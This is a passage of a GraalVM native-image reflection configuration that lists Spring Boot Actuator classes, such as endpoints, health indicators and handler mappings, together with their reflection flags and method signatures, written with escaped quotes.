{\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.servlet.ServletManagementContextAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"managementServletContext\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\"] }, {\"name\":\"servletWebChildContextFactory\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.availability.LivenessStateHealthIndicator\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.availability.ReadinessStateHealthIndicator\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.beans.BeansEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"beans\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.beans.BeansEndpoint$BeanDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getAliases\",\"parameterTypes\":[] }, {\"name\":\"getDependencies\",\"parameterTypes\":[] }, {\"name\":\"getResource\",\"parameterTypes\":[] }, {\"name\":\"getScope\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.beans.BeansEndpoint$BeansDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getContexts\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.beans.BeansEndpoint$ContextBeansDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getBeans\",\"parameterTypes\":[] }, {\"name\":\"getParentId\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.cache.CachesEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.cache.CachesEndpoint$CacheDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.cache.CachesEndpoint$CacheEntryDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.cache.CachesEndpoint$CacheManagerDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.cache.CachesEndpoint$CachesDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.cache.CachesEndpointWebExtension\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.context.ShutdownEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.context.properties.ConfigurationPropertiesReportEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.context.properties.ConfigurationPropertiesReportEndpoint$ConfigurationPropertiesBeanDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.context.properties.ConfigurationPropertiesReportEndpoint$ConfigurationPropertiesDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.context.properties.ConfigurationPropertiesReportEndpoint$ContextConfigurationPropertiesDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.context.properties.ConfigurationPropertiesReportEndpointWebExtension\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.ApiVersion\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.EndpointFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.EndpointId\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.EndpointsSupplier\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.ExposableEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.Operation\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.OperationResponseBody\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.OperationType\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.SecurityContext\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.Show\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.DeleteOperation\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.DiscoveredOperationMethod\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.DiscoveredOperationsFactory\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.Endpoint\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.EndpointConverter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.EndpointDiscoverer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createOperationKey\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.Operation\"] }, {\"name\":\"getEndpoints\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.EndpointDiscoverer$EndpointBean\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.EndpointDiscoverer$ExtensionBean\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.EndpointDiscoverer$OperationKey\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.EndpointExtension\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.FilteredEndpoint\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.OperationReflectiveProcessor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.ReadOperation\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.Selector\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.annotation.WriteOperation\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.OperationInvoker\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.OperationInvokerAdvisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.OperationParameter\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.OperationParameters\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.ParameterMappingException\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.ParameterValueMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoke.convert.ConversionServiceParameterValueMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"mapParameterValue\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.invoke.OperationParameter\",\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.invoker.cache.CachingOperationInvokerAdvisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"apply\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.EndpointId\",\"org.springframework.boot.actuate.endpoint.OperationType\",\"org.springframework.boot.actuate.endpoint.invoke.OperationParameters\",\"org.springframework.boot.actuate.endpoint.invoke.OperationInvoker\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jackson.EndpointObjectMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jmx.EndpointObjectNameFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jmx.ExposableJmxEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jmx.JmxEndpointExporter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"setBeanClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jmx.JmxEndpointsSupplier\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jmx.JmxOperation\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.jmx.annotation.JmxEndpointDiscoverer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.EndpointMediaTypes\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.ExposableServletEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.ExposableWebEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.Link\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.PathMappedEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.PathMappedEndpoints\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"iterator\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.PathMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.ServletEndpointRegistrar\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"onStartup\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.WebEndpointResponse\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.WebEndpointsSupplier\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.WebOperation\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.WebOperationRequestPredicate\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.WebServerNamespace\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ControllerEndpointDiscoverer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ControllerEndpointDiscoverer$ControllerEndpointDiscovererRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ControllerEndpointsSupplier\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.EndpointWebExtension\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ExposableControllerEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ServletEndpointDiscoverer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ServletEndpointDiscoverer$ServletEndpointDiscovererRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.ServletEndpointsSupplier\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.WebEndpoint\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.WebEndpointDiscoverer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.WebEndpointDiscoverer$WebEndpointDiscovererRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.annotation.WebEndpointFilter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"getEndpoints\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping$AbstractWebMvcEndpointHandlerMappingRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping$LinksHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping$OperationHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.AbstractWebMvcEndpointHandlerMapping$ServletWebOperation\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.AdditionalHealthEndpointPathsWebMvcHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.ControllerEndpointHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.WebMvcEndpointHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.WebMvcEndpointHandlerMapping$WebMvcEndpointHandlerMappingRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.endpoint.web.servlet.WebMvcEndpointHandlerMapping$WebMvcLinksHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint$EnvironmentDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint$EnvironmentEntryDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint$PropertySourceDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint$PropertySourceEntryDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint$PropertySummaryDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpoint$PropertyValueDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.env.EnvironmentEndpointWebExtension\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.AbstractHealthIndicator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"health\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.AdditionalHealthEndpointPath\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.CompositeHealth\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getComponents\",\"parameterTypes\":[] }, {\"name\":\"getDetails\",\"parameterTypes\":[] }, {\"name\":\"getStatus\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.ContributorRegistry\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"registerContributor\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\"] }, {\"name\":\"unregisterContributor\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.DefaultContributorRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"registerContributor\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.DefaultHealthContributorRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getContributor\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"iterator\",\"parameterTypes\":[] }, {\"name\":\"registerContributor\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\"] }, {\"name\":\"unregisterContributor\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.Health\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getDetails\",\"parameterTypes\":[] }, {\"name\":\"getStatus\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.Health$Builder\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthComponent\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthContributor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthContributorRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"health\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointGroup\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointGroups\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"get\",\"parameterTypes\":[\"org.springframework.boot.actuate.health.AdditionalHealthEndpointPath\"] }, {\"name\":\"getAllWithAdditionalPath\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.web.WebServerNamespace\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointGroupsPostProcessor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getHealth\",\"parameterTypes\":[\"java.lang.Object\",\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointSupport$HealthResult\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointWebExtension\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthEndpointWebExtensionRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HealthIndicator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getHealth\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.HttpCodeStatusMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.NamedContributors\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getContributor\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"stream\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.PingHealthIndicator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.SimpleHttpCodeStatusMapper\",\n  